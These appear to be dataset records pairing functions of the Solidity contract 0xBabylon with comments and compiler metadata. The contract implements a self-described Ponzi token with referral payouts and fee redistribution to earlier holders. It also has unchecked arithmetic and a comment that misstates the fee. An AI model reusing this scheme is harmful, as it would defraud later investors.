TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
contractBalance
function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; }
// Internal balance function, used to calculate the dynamic reserve value.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 9721, 9921 ] }
1,484
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
TOKEN_scaleDown
function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; }
// Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 15437, 15678 ] }
1,485
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
